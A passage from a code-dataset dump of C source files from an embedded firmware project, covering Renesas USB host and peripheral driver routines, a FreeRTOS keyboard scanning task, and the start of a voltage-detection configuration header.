{\n /* Remote wakeup set */\n usb_preg_set_wkup( ptr );\n usb_gpstd_intsts0 &= (uint16_t)(~USB_DS_SUSP);\n }\n }\n }\n} /* eof usb_pstd_RemoteWakeup() */\n\n/******************************************************************************\nFunction Name : usb_pstd_TestMode\nDescription : USB Peripheral test mode function.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_TestMode( USB_UTR_t *ptr )\n{\n#if ((( USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) && (USB0_IPTYPE_PP == USB_HS_PP))\\\n ||(( USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) && (USB1_IPTYPE_PP == USB_HS_PP)))\n switch( (uint16_t)(usb_gpstd_TestModeSelect & USB_TEST_SELECT) )\n {\n case USB_TEST_J:\n /* Continue */\n case USB_TEST_K:\n /* Continue */\n case USB_TEST_SE0_NAK:\n /* Continue */\n case USB_TEST_PACKET:\n usb_creg_set_utst( ptr, 0 );\n usb_creg_set_utst( ptr, (uint16_t)(usb_gpstd_TestModeSelect >> 8) );\n break;\n case USB_TEST_FORCE_ENABLE:\n /* Continue */\n default:\n break;\n }\n#endif /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP*/\n} /* eof usb_pstd_TestMode() */\n\n/******************************************************************************\nFunction Name : usb_pstd_ResumeProcess\nDescription : Set USB registers to implement resume processing.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_ResumeProcess(USB_UTR_t *ptr)\n{\n /* RESM status clear */\n usb_preg_clr_sts_resm( ptr );\n\n /* RESM interrupt disable */\n usb_preg_clr_enb_rsme( ptr );\n\n} /* eof usb_pstd_ResumeProcess() */\n\n/******************************************************************************\nFunction Name : usb_pstd_SetStall\nDescription : Set the specified pipe's PID to STALL.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipe : Pipe Number\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetStall(USB_UTR_t *ptr, uint16_t pipe)\n{\n /* PIPE control reg set */\n usb_creg_set_pid( ptr, pipe, USB_PID_STALL );\n} /* eof usb_pstd_SetStall() */\n\n/******************************************************************************\nFunction Name : usb_pstd_SetStallPipe0\nDescription : Set pipe \"0\" PID to STALL.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetStallPipe0(USB_UTR_t *ptr)\n{\n /* PIPE control reg set */\n usb_creg_set_pid( ptr, USB_PIPE0, USB_PID_STALL );\n} /* eof usb_pstd_SetStallPipe0() */\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.32210326194763184, "alphanum_fraction": 0.3444584310054779, "avg_line_length": 25.689075469970703, "blob_id": "f825ff8360544fddc20283d759d070ff32073a37", "content_id": "f238cd21d07190cecdd3d9d0e985e9573f865607", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3176, "license_type": "no_license", "max_line_length": 80, "num_lines": 119, "path": "/src/keyboard/keyboard.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * keyboard.c\n *\n * Created on: 07/08/2015\n * Author: LAfonso01\n */\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n ******************************************************************************/\n#include \"platform.h\"\n#include \"keyboard.h\"\n#include \"lcd_menu.h\"\n//#include \"hardware.h\"\n#include \"tinyg.h\"\n#include \"config.h\"\n#include \"switch.h\"\n\n#ifdef FREE_RTOS_PP\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#endif\n/*****************************************************************************\nMacro definitions\n ******************************************************************************/\n\n\n/******************************************************************************\nSection <Section Definition> , \"Data Sections\"\n ******************************************************************************/\n\n/******************************************************************************\nPrivate global variables and functions\n ******************************************************************************/\n\n\n/******************************************************************************\nExternal variables and functions\n ******************************************************************************/\n\n\n/*****************************************************************************\nEnumerated Types\n ******************************************************************************/\n\n/******************************************************************************\nSection <Section Definition> , \"Project Sections\"\n ******************************************************************************/\n\n/******************************************************************************\nFunction Name : keyboard_task\nDescription : keyboard scan Task process\nArguments : none\nReturn value : none\n ******************************************************************************/\n#define KEY_DEBOUNCE 10\n#define KEY_DEBOUNCE_DLYMS 2\n\nvoid keyboard_task(void)\n{\n\tuint8_t key_buf[3][20];\n\tuint8_t colPressed = 0xff;\n\tuint32_t key = 0;\n\tuint32_t key_old = 0;\n\tuint8_t i = 0;\n\tuint8_t k = 0;\n\tuint8_t j = 0;\n\tuint8_t matchCount = 0;\n\tuint8_t col[3] = {KC0,KC1,KC2};\n\n\twhile(1)\n\t{\n\t\tvTaskDelay(KEY_DEBOUNCE_DLYMS / portTICK_RATE_MS);\n\t\tWDT_FEED\n\t\tswitch_rtc_callback();\t\t\t\t\t// switch debouncing\n\t\tfor (i = 0; i < 3; i++)\n\t\t{\n\t\t\tKCOL = col[i];\n\t\t\tvTaskDelay(1 / portTICK_RATE_MS);\n\t\t\tkey_buf[i][k] = (~(KLINE | 0x81)>>4) & 0x0F;\n\t\t\tif (i == colPressed)\n\t\t\t{\n\t\t\t\tif (key_buf[colPressed][k] == 0x00)\n\t\t\t\t{\n\t\t\t\t\tkey = 0;\n\t\t\t\t\tkey_old = 0;\n\t\t\t\t\txQueueSend( qKeyboard, &key, 0 );\n\t\t\t\t\tcolPressed = 0xFF;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (key_buf[i][k] != 0x00)\n\t\t\t{\n\t\t\t\tfor (j = 0;j < KEY_DEBOUNCE;j++)\n\t\t\t\t{\n\t\t\t\t\tif (key_buf[i][0] == key_buf[i][j])\n\t\t\t\t\t{\n\t\t\t\t\t\tmatchCount++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (matchCount == KEY_DEBOUNCE)\n\t\t\t\t{\n\t\t\t\t\tkey = key_buf[2][1] << 8 | key_buf[1][1] << 4 | key_buf[0][1];\n\t\t\t\t\tcolPressed = i;\n\t\t\t\t\tif (key != key_old)\n\t\t\t\t\t{\n\t\t\t\t\t\txQueueSend( qKeyboard, &key, 0 );\n\t\t\t\t\t}\n\t\t\t\t\tkey_old = key;\n\t\t\t\t}\n\t\t\t\tmatchCount = 0;\n\t\t\t}\n\t\t}\n\t\tk++;\n\t\tif (k == KEY_DEBOUNCE)\n\t\t{\n\t\t\tk = 0;\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.47736212611198425, "alphanum_fraction": 0.4937942624092102, "avg_line_length": 38.72569274902344, "blob_id": "b8dc46898db4ac179a24bc46cc0d6d18eafd803e", "content_id": "e5d8c5f4a7a3aee3446ea5c930c0e773217d7461", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 22882, "license_type": "no_license", "max_line_length": 120, "num_lines": 576, "path": "/r_usb_basic/src/HW/host/r_usb_hreg_abs.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hreg_abs.c\n* Description : Call USB Host register access function \n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n/* Condition compilation by the difference of the endian */\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n #define USB_FIFOENDIAN USB_FIFO_LITTLE\n#else /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n #define USB_FIFOENDIAN USB_FIFO_BIG\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern uint16_t usb_ghstd_RemortPort[];\n\n/******************************************************************************\nFunction Name : usb_hstd_SetHubPort\nDescription : Set up-port hub\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t addr : device address\n : uint16_t upphub : up-port hub address\n : uint16_t hubport : hub port number\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_SetHubPort(USB_UTR_t *ptr, uint16_t addr, uint16_t upphub, uint16_t hubport)\n{\n if(ptr->ip == USB_USBIP_1)\n {\n usb_hreg_rmw_devadd( ptr, addr, (upphub|hubport), (uint16_t)(USB_UPPHUB | USB_HUBPORT) );\n }\n} /* eof usb_hstd_SetHubPort */\n\n/******************************************************************************\nFunction Name : usb_hstd_RwupeEnable\nDescription : Remote wakeup signal detection enable setting from USB Device\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_RwupeEnable(USB_UTR_t *ptr, uint16_t port)\n{\n\n usb_hreg_set_rwupe( ptr, port );\n\n} /* eof usb_hstd_RwupeEnable */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_RwupeDisable\nDescription : Remote wakeup signal detection disable setting from USB Device\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_RwupeDisable(USB_UTR_t *ptr, uint16_t port)\n{\n\n usb_hreg_clr_rwupe( ptr, port );\n\n} /* eof of usb_hstd_RwupeDisable */\n\n/******************************************************************************\nFunction Name : usb_hstd_InterruptHandler\nDescription : Analyzes which USB interrupt is generated\nArgument : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_InterruptHandler(USB_UTR_t *ptr)\n{\n uint16_t intsts0, intenb0, ists0;\n uint16_t intsts1, intenb1, ists1;\n uint16_t brdysts, brdyenb, bsts;\n uint16_t nrdysts, nrdyenb, nsts;\n uint16_t bempsts, bempenb, ests;\n\n\n intsts0 = ptr->ipp->INTSTS0.WORD;\n intsts1 = ptr->ipp->INTSTS1.WORD;\n brdysts = ptr->ipp->BRDYSTS.WORD;\n nrdysts = ptr->ipp->NRDYSTS.WORD;\n bempsts = ptr->ipp->BEMPSTS.WORD;\n intenb0 = ptr->ipp->INTENB0.WORD;\n intenb1 = ptr->ipp->INTENB1.WORD;\n brdyenb = ptr->ipp->BRDYENB.WORD;\n nrdyenb = ptr->ipp->NRDYENB.WORD;\n bempenb = ptr->ipp->BEMPENB.WORD;\n\n /* Interrupt Status Get */\n ptr->keyword = USB_INT_UNKNOWN;\n ptr->status = 0;\n\n ists0 = (uint16_t)(intsts0 & intenb0);\n ists1 = (uint16_t)(intsts1 & intenb1);\n// ists2 = (uint16_t)(intsts2 & intenb2);\n bsts = (uint16_t)(brdysts & brdyenb);\n nsts = (uint16_t)(nrdysts & nrdyenb);\n ests = (uint16_t)(bempsts & bempenb);\n\n /***** Processing Setup transaction *****/\n if( (ists1 & USB_SACK) == USB_SACK )\n {\n /***** Setup ACK *****/\n /* SACK Clear */\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_SACK;\n /* Setup Ignore,Setup Acknowledge disable */\n ptr->ipp->INTENB1.WORD &= (uint16_t)~(USB_SIGNE | USB_SACKE);\n ptr->keyword = USB_INT_SACK;\n }\n else if( (ists1 & USB_SIGN) == USB_SIGN )\n {\n /***** Setup Ignore *****/\n /* SIGN Clear */\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_SIGN;\n /* Setup Ignore,Setup Acknowledge disable */\n ptr->ipp->INTENB1.WORD &= (uint16_t)~(USB_SIGNE | USB_SACKE);\n ptr->keyword = USB_INT_SIGN;\n }\n /***** Processing PIPE0-MAX_PIPE_NO data *****/\n else if( (ists0 & USB_BRDY) == USB_BRDY ) /***** EP0-7 BRDY *****/\n {\n ptr->ipp->BRDYSTS.WORD = (uint16_t)~bsts;\n ptr->keyword = USB_INT_BRDY;\n ptr->status = bsts;\n }\n else if( (ists0 & USB_BEMP) == USB_BEMP ) /***** EP0-7 BEMP *****/\n {\n ptr->ipp->BEMPSTS.WORD = (uint16_t)~ests;\n ptr->keyword = USB_INT_BEMP;\n ptr->status = ests;\n }\n else if( (ists0 & USB_NRDY) == USB_NRDY ) /***** EP0-7 NRDY *****/\n {\n ptr->ipp->NRDYSTS.WORD = (uint16_t)~nsts;\n ptr->keyword = USB_INT_NRDY;\n ptr->status = nsts;\n }\n\n /***** Processing rootport0 *****/\n else if( (ists1 & USB_OVRCR) == USB_OVRCR ) /***** OVER CURRENT *****/\n {\n /* OVRCR Clear */\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_OVRCR;\n ptr->keyword = USB_INT_OVRCR0;\n }\n else if( (ists1 & USB_ATTCH) == USB_ATTCH ) /***** ATTCH INT *****/\n {\n /* DTCH interrupt disable */\n usb_hstd_BusIntDisable(ptr, (uint16_t)USB_PORT0);\n ptr->keyword = USB_INT_ATTCH0;\n }\n else if( (ists1 & USB_EOFERR) == USB_EOFERR ) /***** EOFERR INT *****/\n {\n /* EOFERR Clear */\n ptr->ipp->INTSTS1.WORD = (uint16_t)~USB_EOFERR;\n ptr->keyword = USB_INT_EOFERR0;\n }\n else if( (ists1 & USB_BCHG) == USB_BCHG ) /***** BCHG INT *****/\n {\n /* BCHG interrupt disable */\n usb_hstd_BchgDisable(ptr, (uint16_t)USB_PORT0);\n ptr->keyword = USB_INT_BCHG0;\n }\n else if( (ists1 & USB_DTCH) == USB_DTCH ) /***** DETACH *****/\n {\n /* DTCH interrupt disable */\n usb_hstd_BusIntDisable(ptr, (uint16_t)USB_PORT0);\n ptr->keyword = USB_INT_DTCH0;\n }\n#ifdef USB_HOST_BC_ENABLE\n else if( (ists1 & USB_PDDETINT) == USB_PDDETINT ) /***** PDDETINT INT *****/\n {\n if(ptr -> ip == USB_USBIP_1)\n {\n /* PDDETINT interrupt disable */\n ptr->ipp1->INTSTS1.WORD = (uint16_t)~USB_PDDETINT;\n ptr->keyword = USB_INT_PDDETINT0;\n }\n }\n#endif\n /***** Processing VBUS/SOF *****/\n else if( (ists0 & USB_VBINT) == USB_VBINT ) /***** VBUS change *****/\n {\n /* Status Clear */\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_VBINT;\n ptr->keyword = USB_INT_VBINT;\n }\n else if( (ists0 & USB_SOFR) == USB_SOFR ) /***** SOFR change *****/\n {\n /* SOFR Clear */\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_SOFR;\n ptr->keyword = USB_INT_SOFR;\n }\n\n else\n {\n }\n} /* eof of usb_hstd_InterruptHandler */\n\n/******************************************************************************\nFunction Name : usb_hstd_ChkAttach\nDescription : Checks whether USB Device is attached or not and return USB speed\n : of USB Device\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; port number\nReturn value : uint16_t ; connection status\n : ; (USB_ATTACHF/USB_ATTACHL/USB_DETACH/USB_DONE)\nNote : Please change for your SYSTEM\n******************************************************************************/\nuint16_t usb_hstd_ChkAttach(USB_UTR_t *ptr, uint16_t port)\n{\n uint16_t buf[3];\n\n usb_hstd_ReadLnst(ptr, port, buf);\n\n if( (uint16_t)(buf[1] & USB_RHST) == USB_UNDECID )\n {\n if( (buf[0] & USB_LNST) == USB_FS_JSTS )\n {\n /* High/Full speed device */\n USB_PRINTF0(\" Detect FS-J\\n\");\n usb_cstd_SetHse(ptr, port, usb_gcstd_HsEnable[ptr->ip]);\n return USB_ATTACHF;\n }\n else if( (buf[0] & USB_LNST) == USB_LS_JSTS )\n {\n /* Low speed device */\n USB_PRINTF0(\" Attach LS device\\n\");\n usb_cstd_SetHse(ptr, port, USB_HS_DISABLE);\n return USB_ATTACHL;\n }\n else if( (buf[0] & USB_LNST) == USB_SE0 )\n {\n USB_PRINTF0(\" Detach device\\n\");\n }\n else\n {\n USB_PRINTF0(\" Attach unknown speed device\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\" Already device attached\\n\");\n return USB_DONE;\n }\n return USB_DETACH;\n} /* eof of usb_hstd_ChkAttach */\n\n/******************************************************************************\nFunction Name : usb_hstd_ChkClk\nDescription : Checks SOF sending setting when USB Device is detached or suspended\n : , BCHG interrupt enable setting and clock stop processing\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; port number\n : uint16_t event ; device state\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_ChkClk(USB_UTR_t *ptr, uint16_t port, uint16_t event)\n{\n\n if( (usb_ghstd_MgrMode[ptr->ip][USB_PORT0] == USB_DETACHED) \n || (usb_ghstd_MgrMode[ptr->ip][USB_PORT0] == USB_SUSPENDED) )\n {\n usb_hstd_ChkSof( ptr, (uint16_t)USB_PORT0);\n /* Enable port BCHG interrupt */\n usb_hstd_BchgEnable( ptr, (uint16_t)USB_PORT0);\n usb_cstd_StopClock( ptr );\n }\n\n} /* eof of usb_hstd_ChkClk */\n\n/******************************************************************************\nFunction Name : usb_hstd_DetachProcess\nDescription : Handles the require processing when USB device is detached\n : (Data transfer forcibly termination processing to the connected USB Device,\n : the clock supply stop setting and the USB interrupt dissable setteing etc)\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; port number\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_DetachProcess(USB_UTR_t *ptr, uint16_t port)\n{\n uint16_t connect_inf, md, i, addr;\n\n /* ATTCH interrupt disable */\n usb_hstd_AttchDisable( ptr, port);\n /* DTCH interrupt disable */\n usb_hstd_DtchDisable( ptr, port);\n usb_hstd_BchgDisable( ptr, (uint16_t)USB_PORT0);\n\n for( md = 1u; md < (USB_MAXDEVADDR + 1u); md++ )\n {\n addr = (uint16_t)(md << USB_DEVADDRBIT);\n if( usb_hstd_ChkDevAddr(ptr, addr, port) != USB_NOCONNECT )\n {\n if( usb_ghstd_Ctsq[ptr->ip] != USB_IDLEST )\n {\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n }\n for( i = USB_MIN_PIPE_NO; i <= USB_MAX_PIPE_NO; i++ )\n {\n /* Not control transfer */\n /* Agreement device address */\n if( usb_cstd_GetDevsel(ptr, i) == addr )\n {\n /* PID=BUF ? */\n if( usb_cstd_GetPid(ptr, i) == USB_PID_BUF )\n {\n /* End of data transfer (IN/OUT) */\n usb_cstd_ForcedTermination(ptr, i, (uint16_t)USB_DATA_STOP);\n }\n usb_cstd_ClrPipeCnfg(ptr, i);\n }\n }\n usb_hstd_SetDevAddr(ptr, addr, USB_DONE, USB_DONE);\n usb_hstd_SetHubPort(ptr, addr, USB_DONE, USB_DONE);\n USB_PRINTF1(\"*** Device address %d clear.\\n\",md);\n }\n }\n /* Decide USB Line state (ATTACH) */\n connect_inf = usb_hstd_ChkAttach(ptr, port);\n switch( connect_inf )\n {\n case USB_ATTACHL:\n usb_hstd_Attach(ptr, connect_inf, port);\n break;\n case USB_ATTACHF:\n usb_hstd_Attach(ptr, connect_inf, port);\n break;\n case USB_DETACH:\n /* USB detach */\n usb_hstd_Detach(ptr, port);\n /* Check clock */\n usb_hstd_ChkClk(ptr, port, (uint16_t)USB_DETACHED);\n break;\n default:\n /* USB detach */\n usb_hstd_Detach(ptr, port);\n /* Check clock */\n usb_hstd_ChkClk(ptr, port, (uint16_t)USB_DETACHED);\n break;\n }\n} /* eof of usb_hstd_DetachProcess */\n\n/******************************************************************************\nFunction Name : usb_hstd_ReadLnst\nDescription : Reads LNST register two times, checks whether these values\n : are equal and returns the value of DVSTCTR register that correspond to\n : the port specified by 2nd argument.\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; port number\n : uint16_t *buf ; Pointer to the buffer to store DVSTCTR register\nReturn value : none\nNote : Please change for your SYSTEM\n******************************************************************************/\nvoid usb_hstd_ReadLnst(USB_UTR_t *ptr, uint16_t port, uint16_t *buf)\n{\n do\n {\n buf[0] = usb_creg_read_syssts( ptr, port );\n /* 30ms wait */\n usb_cpu_DelayXms((uint16_t)30);\n buf[1] = usb_creg_read_syssts( ptr, port );\n if( (buf[0] & USB_LNST) == (buf[1] & USB_LNST) )\n {\n /* 20ms wait */\n usb_cpu_DelayXms((uint16_t)20);\n buf[1] = usb_creg_read_syssts( ptr, port );\n }\n }\n while( (buf[0] & USB_LNST) != (buf[1] & USB_LNST) );\n buf[1] = usb_creg_read_dvstctr( ptr, port );\n} /* eof of usb_hstd_ReadLnst */\n\n/******************************************************************************\nFunction Name : usb_hstd_AttachProcess\nDescription : Interrupt disable setting when USB Device is attached and\n : handles the required interrupt disable setting etc when USB device\n : is attached.\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; port number\nReturn value : none\nNote : Please change for your SYSTEM\n******************************************************************************/\nvoid usb_hstd_AttachProcess(USB_UTR_t *ptr, uint16_t port)\n{\n uint16_t connect_inf;\n\n /* ATTCH interrupt disable */\n usb_hstd_AttchDisable(ptr, port);\n /* DTCH interrupt disable */\n usb_hstd_DtchDisable(ptr, port);\n usb_hstd_BchgDisable(ptr, (uint16_t)USB_PORT0);\n /* Decide USB Line state (ATTACH) */\n connect_inf = usb_hstd_ChkAttach(ptr, port);\n switch( connect_inf )\n {\n case USB_ATTACHL:\n usb_hstd_Attach(ptr, connect_inf, port);\n break;\n case USB_ATTACHF:\n usb_hstd_Attach(ptr, connect_inf, port);\n break;\n case USB_DETACH:\n /* USB detach */\n usb_hstd_Detach(ptr, port);\n /* Check clock */\n usb_hstd_ChkClk(ptr, port, (uint16_t)USB_DETACHED);\n break;\n default:\n usb_hstd_Attach(ptr, (uint16_t)USB_ATTACHF, port);\n break;\n }\n} /* eof of usb_hstd_AttachProcess */\n\n/******************************************************************************\nFunction Name : usb_hstd_ChkSof\nDescription : Checks whether SOF is sended or not\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; port number\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_ChkSof(USB_UTR_t *ptr, uint16_t port)\n{\n#if 0\n uint16_t buf;\n\n do\n {\n /* Wait 640ns */\n usb_cpu_Delay1us((uint16_t)1);\n\n buf = usb_creg_read_syssts( ptr, port );\n }\n while( (uint16_t)(buf & USB_SOFEA) == USB_SOFEA );\n#endif\n usb_cpu_Delay1us((uint16_t)1); /* Wait 640ns */\n} /* eof of usb_hstd_ChkSof */\n\n/******************************************************************************\nFunction Name : usb_hstd_BusReset\nDescription : Setting USB register when BUS Reset\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; port number\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_BusReset(USB_UTR_t *ptr, uint16_t port)\n{\n uint16_t buf, i;\n\n /* USBRST=1, UACT=0 */\n usb_creg_rmw_dvstctr( ptr, port, USB_USBRST, (USB_USBRST | USB_UACT) );\n\n /* Wait 50ms */\n usb_cpu_DelayXms((uint16_t)50);\n if(ptr->ip == USB_USBIP_1)\n {\n /* USBRST=0 */\n usb_creg_clr_dvstctr( ptr, USB_PORT0, USB_USBRST ); //for UTMI\n usb_cpu_Delay1us( 300 ); //for UTMI\n }\n /* USBRST=0, RESUME=0, UACT=1 */\n usb_hstd_SetUact(ptr, port);\n /* Wait 10ms or more (USB reset recovery) */\n usb_cpu_DelayXms((uint16_t)20);\n for( i = 0, buf = USB_HSPROC; (i < 3) && (buf == USB_HSPROC); ++i )\n {\n /* DeviceStateControlRegister - ResetHandshakeStatusCheck */\n buf = usb_creg_read_dvstctr( ptr, port );\n buf = (uint16_t)(buf & USB_RHST);\n if( buf == USB_HSPROC )\n {\n /* Wait */\n usb_cpu_DelayXms((uint16_t)10);\n }\n }\n /* 30ms wait */\n usb_cpu_DelayXms((uint16_t)30);\n} /* eof of usb_hstd_BusReset */\n\n/******************************************************************************\nFunction Name : usb_hstd_ResumeProcess\nDescription : Setting USB register when RESUME signal is detected\nArguments : USB_UTR_t *ptr ; USB system internal structure. Selects channel.\n : uint16_t port ; port number\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_ResumeProcess(USB_UTR_t *ptr, uint16_t port)\n{\n usb_hstd_BchgDisable( ptr, port );\n /* RESUME=1, RWUPE=0 */\n usb_creg_rmw_dvstctr( ptr, port, USB_RESUME, (USB_RESUME | USB_RWUPE) );\n /* Wait */\n usb_cpu_DelayXms((uint16_t)20);\n /* USBRST=0, RESUME=0, UACT=1 */\n usb_hstd_SetUact(ptr, port);\n /* Wait */\n usb_cpu_DelayXms((uint16_t)5);\n} /* eof of usb_hstd_ResumeProcess */\n\n/******************************************************************************\nFunction Name : usb_hstd_support_speed_check\nDescription : Get USB-speed of the specified port.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t port : Root port\nReturn value : uint16_t : HSCONNECT : Hi-Speed\n : : FSCONNECT : Full-Speed\n : : LSCONNECT : Low-Speed\n : : NOCONNECT : not connect\n******************************************************************************/\nuint16_t usb_hstd_support_speed_check( USB_UTR_t *ptr, uint16_t port )\n{\n uint16_t buf, ConnInf;\n\n buf = usb_creg_read_dvstctr( ptr, port );\n\n /* Reset handshake status get */\n buf = (uint16_t)(buf & USB_RHST);\n\n switch( buf )\n {\n /* Get port speed */\n case USB_HSMODE: ConnInf = USB_HSCONNECT; break;\n case USB_FSMODE: ConnInf = USB_FSCONNECT; break;\n case USB_LSMODE: ConnInf = USB_LSCONNECT; break;\n case USB_HSPROC: ConnInf = USB_NOCONNECT; break;\n default: ConnInf = USB_NOCONNECT; break;\n }\n\n return (ConnInf);\n} /* eof of usb_hstd_support_speed_check */\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.5711561441421509, "alphanum_fraction": 0.5988081097602844, "avg_line_length": 56.4383544921875, "blob_id": "d62475d590af6a69beeb3a2f0dccc7431ecafad6", "content_id": "b21b9f84c4bb04563e0b7c06fac376707d86351a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4195, "license_type": "no_license", "max_line_length": 120, "num_lines": 73, "path": "/r_config/r_lvd_rx_config.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_lvd_config.h\n* Description : Configures LVD FIT code\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 18.07.2013 1.00 First Release\n* : 14.02.2014 